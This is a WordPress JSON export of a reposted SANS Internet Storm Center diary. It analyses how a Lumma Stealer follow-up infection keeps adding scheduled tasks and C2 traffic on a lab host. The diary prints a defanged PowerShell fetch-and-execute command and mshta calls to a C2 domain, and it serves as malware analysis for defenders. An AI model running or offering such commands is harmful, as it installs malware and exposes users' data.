{"id":610,"date":"2026-01-14T20:06:49","date_gmt":"2026-01-14T20:06:49","guid":{"rendered":"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/"},"modified":"2026-01-14T20:06:49","modified_gmt":"2026-01-14T20:06:49","slug":"infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th","status":"publish","type":"post","link":"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/","title":{"rendered":"Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain, (Wed, Jan 14th)"},"content":{"rendered":"
\n

Introduction<\/strong><\/em><\/p>\n

In recent weeks, Lumma Stealer infections have followed a specific pattern in follow-up activity. This pattern adds scheduled tasks for the same action, which increases traffic to the same C2 domain. This diary documents an example from one of these infections on January 14, 2026.<\/p>\n

Details<\/strong><\/em><\/p>\n

After Lumma Stealer performs its data exfiltration, the infected Windows host retrieves information from a Pastebin link, which the infected host uses for a follow-up infection. So far, this follow-up infection has used .cc<\/code><\/span> domains for its C2 traffic. Here is one such example<\/a> from the beginning of January 2026.<\/p>\n

The image below shows an example of a Lumma Stealer infection from today.<\/p>\n

\"\"<\/a>
\nShown above: Traffic from a Lumma Stealer infection today filtered in Wireshark.<\/em><\/p>\n

The follow-up infection from Lumma Stealer activity begins with a Pastebin URL, which is hxxps[:]\/\/pastebin[.]com\/raw\/xRmmdinT<\/span><\/code> seen as recently today, as January 14, 2026.<\/p>\n

\"\"<\/a>
\nShown above: Pastebin URL used for the follow-up infection shown in a web browser.<\/em><\/p>\n

The Pastebin URL returns the following PowerShell command:<\/p>\n

irm hxxps[:]\/\/fileless-market[.]cc\/Notes.pdf | iex<\/code><\/span><\/p>\n

This leads to several follow-up HTTPS requests for hxxps[:]\/\/fileless-market[.]cc\/<\/code><\/span> as time progresses. These HTTPS requests are caused by commands for mshta hxxps[:]\/\/fileless-market[.]cc\/<\/code><\/span> that in turn generate a scheduled task to perform the same command.<\/p>\n

This activity appears to build on itself. Almost 11 hours after an initial infection, the infected Windows host in my lab had 31 scheduled tasks with different names, but they all had the same trigger and action: running the mshta<\/code><\/span> command for hxxps[:]\/\/fileless-market[.]cc\/<\/code><\/span>.<\/p>\n

\"\"<\/a>
\nShown above: Task scheduler for the infected Windows host showing multiple tasks generated by this infection after several hours.<\/em><\/p>\n

This generated more C2 traffic to fileless-market[.]cc<\/code><\/span> as the hours passed. On January 14, 2026 at 16:02 UTC, I saw 33 TCP streams for HTTPS sessions to this C2 server.<\/p>\n

\"\"<\/a>
\nShown above: 33 TCP streams for HTTPS sessions to fileless-market[.]cc<\/span> from this infection.<\/em><\/p>\n

Final Words<\/strong><\/em><\/p>\n

This C2 activity seems a bit unusual. I’ve never seen it before. I chatted about this with some of the other handlers, and they did not remember seeing this type of increase in scheduled tasks and post-infection traffic. If anyone else has noticed activity like this, please leave a comment!<\/p>\n

Bradley Duncan
\nbrad [at] malware-traffic-analysis.net<\/p>\n

(c) SANS Internet Storm Center. https:\/\/isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.<\/p><\/div>\n","protected":false},"excerpt":{"rendered":"

Introduction In recent weeks, Lumma Stealer infections have followed a specific pattern in follow-up activity. This pattern adds scheduled tasks for the same action, which increases traffic to the same C2 domain. This diary documents an example from one of these infections on January 14, 2026. Details After Lumma Stealer performs its data exfiltration, the […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-container-style":"default","site-container-layout":"default","site-sidebar-layout":"default","disable-article-header":"default","disable-site-header":"default","disable-site-footer":"default","disable-content-area-spacing":"default","footnotes":""},"categories":[90],"tags":[91],"class_list":["post-610","post","type-post","status-publish","format-standard","hentry","category-cybersecurity","tag-cybersecurity"],"yoast_head":"\nInfection repeatedly adds scheduled tasks and increases traffic to the same C2 domain, (Wed, Jan 14th) - Imperative Business Ventures Limited<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain, (Wed, Jan 14th) - Imperative Business Ventures Limited\" \/>\n<meta property=\"og:description\" content=\"Introduction In recent weeks, Lumma Stealer infections have followed a specific pattern in follow-up activity. This pattern adds scheduled tasks for the same action, which increases traffic to the same C2 domain. This diary documents an example from one of these infections on January 14, 2026. Details After Lumma Stealer performs its data exfiltration, the […]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/\" \/>\n<meta property=\"og:site_name\" content=\"Imperative Business Ventures Limited\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-14T20:06:49+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/isc.sans.edu\/diaryimages\/images\/2026-01-14-ISC-diary-image-01.jpg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\/\/blog.ibvl.in\/#\/schema\/person\/55b87b72a56b1bbe9295fe5ef7a20b02\"},\"headline\":\"Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain, (Wed, Jan 14th)\",\"datePublished\":\"2026-01-14T20:06:49+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/\"},\"wordCount\":377,\"image\":{\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/isc.sans.edu\/diaryimages\/images\/2026-01-14-ISC-diary-image-01.jpg\",\"keywords\":[\"Cybersecurity\"],\"articleSection\":[\"Cybersecurity\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/\",\"url\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/\",\"name\":\"Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain, (Wed, Jan 14th) - Imperative Business Ventures Limited\",\"isPartOf\":{\"@id\":\"https:\/\/blog.ibvl.in\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/isc.sans.edu\/diaryimages\/images\/2026-01-14-ISC-diary-image-01.jpg\",\"datePublished\":\"2026-01-14T20:06:49+00:00\",\"author\":{\"@id\":\"https:\/\/blog.ibvl.in\/#\/schema\/person\/55b87b72a56b1bbe9295fe5ef7a20b02\"},\"breadcrumb\":{\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/#primaryimage\",\"url\":\"https:\/\/isc.sans.edu\/diaryimages\/images\/2026-01-14-ISC-diary-image-01.jpg\",\"contentUrl\":\"https:\/\/isc.sans.edu\/diaryimages\/images\/2026-01-14-ISC-diary-image-01.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/blog.ibvl.in\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain, (Wed, Jan 14th)\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/blog.ibvl.in\/#website\",\"url\":\"https:\/\/blog.ibvl.in\/\",\"name\":\"Imperative Business Ventures Limited\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/blog.ibvl.in\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/blog.ibvl.in\/#\/schema\/person\/55b87b72a56b1bbe9295fe5ef7a20b02\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/blog.ibvl.in\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/4d20b2cd313e4417a599678e950e6fb7d4dfa178a72f2b769335a08aaa615aa9?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/4d20b2cd313e4417a599678e950e6fb7d4dfa178a72f2b769335a08aaa615aa9?s=96&d=mm&r=g\",\"caption\":\"admin\"},\"sameAs\":[\"https:\/\/blog.ibvl.in\"],\"url\":\"https:\/\/blog.ibvl.in\/index.php\/author\/admin_hcbs9yw6\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain, (Wed, Jan 14th) - Imperative Business Ventures Limited","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/","og_locale":"en_US","og_type":"article","og_title":"Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain, (Wed, Jan 14th) - Imperative Business Ventures Limited","og_description":"Introduction In recent weeks, Lumma Stealer infections have followed a specific pattern in follow-up activity. This pattern adds scheduled tasks for the same action, which increases traffic to the same C2 domain. This diary documents an example from one of these infections on January 14, 2026. Details After Lumma Stealer performs its data exfiltration, the […]","og_url":"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/","og_site_name":"Imperative Business Ventures Limited","article_published_time":"2026-01-14T20:06:49+00:00","og_image":[{"url":"https:\/\/isc.sans.edu\/diaryimages\/images\/2026-01-14-ISC-diary-image-01.jpg","type":"","width":"","height":""}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"Written by":"admin","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/#article","isPartOf":{"@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/"},"author":{"name":"admin","@id":"https:\/\/blog.ibvl.in\/#\/schema\/person\/55b87b72a56b1bbe9295fe5ef7a20b02"},"headline":"Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain, (Wed, Jan 14th)","datePublished":"2026-01-14T20:06:49+00:00","mainEntityOfPage":{"@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/"},"wordCount":377,"image":{"@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/#primaryimage"},"thumbnailUrl":"https:\/\/isc.sans.edu\/diaryimages\/images\/2026-01-14-ISC-diary-image-01.jpg","keywords":["Cybersecurity"],"articleSection":["Cybersecurity"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/","url":"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/","name":"Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain, (Wed, Jan 14th) - Imperative Business Ventures Limited","isPartOf":{"@id":"https:\/\/blog.ibvl.in\/#website"},"primaryImageOfPage":{"@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/#primaryimage"},"image":{"@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/#primaryimage"},"thumbnailUrl":"https:\/\/isc.sans.edu\/diaryimages\/images\/2026-01-14-ISC-diary-image-01.jpg","datePublished":"2026-01-14T20:06:49+00:00","author":{"@id":"https:\/\/blog.ibvl.in\/#\/schema\/person\/55b87b72a56b1bbe9295fe5ef7a20b02"},"breadcrumb":{"@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/#primaryimage","url":"https:\/\/isc.sans.edu\/diaryimages\/images\/2026-01-14-ISC-diary-image-01.jpg","contentUrl":"https:\/\/isc.sans.edu\/diaryimages\/images\/2026-01-14-ISC-diary-image-01.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/blog.ibvl.in\/index.php\/2026\/01\/14\/infection-repeatedly-adds-scheduled-tasks-and-increases-traffic-to-the-same-c2-domain-wed-jan-14th\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/blog.ibvl.in\/"},{"@type":"ListItem","position":2,"name":"Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain, (Wed, Jan 14th)"}]},{"@type":"WebSite","@id":"https:\/\/blog.ibvl.in\/#website","url":"https:\/\/blog.ibvl.in\/","name":"Imperative Business Ventures Limited","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/blog.ibvl.in\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/blog.ibvl.in\/#\/schema\/person\/55b87b72a56b1bbe9295fe5ef7a20b02","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/blog.ibvl.in\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/4d20b2cd313e4417a599678e950e6fb7d4dfa178a72f2b769335a08aaa615aa9?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4d20b2cd313e4417a599678e950e6fb7d4dfa178a72f2b769335a08aaa615aa9?s=96&d=mm&r=g","caption":"admin"},"sameAs":["https:\/\/blog.ibvl.in"],"url":"https:\/\/blog.ibvl.in\/index.php\/author\/admin_hcbs9yw6\/"}]}},"_links":{"self":[{"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/posts\/610","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/comments?post=610"}],"version-history":[{"count":0,"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/posts\/610\/revisions"}],"wp:attachment":[{"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/media?parent=610"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/categories?post=610"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/tags?post=610"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}